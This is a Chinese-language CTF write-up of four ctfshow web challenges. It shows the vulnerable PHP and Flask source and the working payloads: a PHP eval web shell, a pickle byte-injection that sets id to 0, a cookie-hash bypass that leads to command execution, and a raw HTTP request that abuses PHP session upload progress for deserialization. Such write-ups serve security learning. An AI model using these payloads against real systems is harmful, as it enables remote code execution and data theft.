easy_eval
拿到题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
起初我一直想办法进行绕过?,但是最后都无法成功 可能是我太死板了 竟然忘记了
<script language="php">@eval($_POST[1])</script>
利用它getshell 不过只有php5可以用
baby_pickle
拿到题目,下载源码 得到题目
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
起初拿到题目后我一直在想如何控制id,让他可以为0 实验了好几次都没成功 看到wp后,笑了 题目来源于PHP反序列化字符串逃逸 看看id为0和10的序列化字节有什么不同 发现只有id的值不一样 于是便可以利用change路由改内容把cyxin改成cyxin\nsVid\nI0\nsb. 最后那个. 起句号作用,相当于PHP反序列化逃逸的} payload
http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/?name=cyxin11
http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/change?name=Y3l4aW4xMQ==&newname=Y3l4aW4xMQpzVmlkCkkwCnNiLg==
http://330ffa74-de0e-4ad1-a02f-f0d37442f38f.challenge.ctf.show/dacaiji?name=cyxin11
repairman
拿到题目 可以修改mode,将其改为0得到题目 可以的到源码
Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
非预期: 拿到题目后发现要将cookie中的值改为 md5(‘admin’.$config[‘secret’]): 由于题目上给了 $config[‘secret’] = Array(); 尝试测试 发现没有config[‘secret’]没有被覆盖 所以md5(‘admin’.$config[‘secret’]):是个固定值da53eb34c1bc6ce7bbfcedf200148106 于是直接令secret=adminArray传入 之后post传入cmd进行反弹shell即可getshell 预期解: 预期解就是parse_str变量覆盖了 config[secret]=cyxin
cookie: secret=34050d14141946471cb835ce843812d1
cmd=cat config.php >a.txt
剪刀石头布
拿到题目后随便输入用户名 之后看源码 在这里插入图片描述 大致分为三部分 一个是初始界面 一个是游戏界面 一个是游戏日志界面 重点看的是第三个 大致思路就是传入反序列化链子作为session文件保存 链子的内容是将log的内容写成flag文件的位置 当进行反序列化时触发destrct从而输出flag
phpinfo中可以看到本页面的序列化处理器和默认不同,而且关闭了session自动清理,所以不需要竞争,就可以通过PHP_SESSION_UPLOAD_PROGRESS变量写入反序列化数据,通过竖线风格后实现反序列化
POST / HTTP/1.1
Host: 949c06f7-568a-4d85-a5d5-35834af7858c.challenge.ctf.show
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk1VAAFp6kbEkMneJ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=aaaaaa
Connection: close
------WebKitFormBoundaryk1VAAFp6kbEkMneJ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
------WebKitFormBoundaryk1VAAFp6kbEkMneJ
Content-Disposition: form-data; name="file"; filename="|O:4:\"Game\":1:{s:3:\"log\";s:22:\"/var/www/html/flag.php\";}"
Content-Type: application/octet-stream
------WebKitFormBoundaryk1VAAFp6kbEkMneJ--
在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|‘后的值进行反序列化处理。 为什么在解析session文件时直接对’|'后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()这个函数,可以看下官方说明
|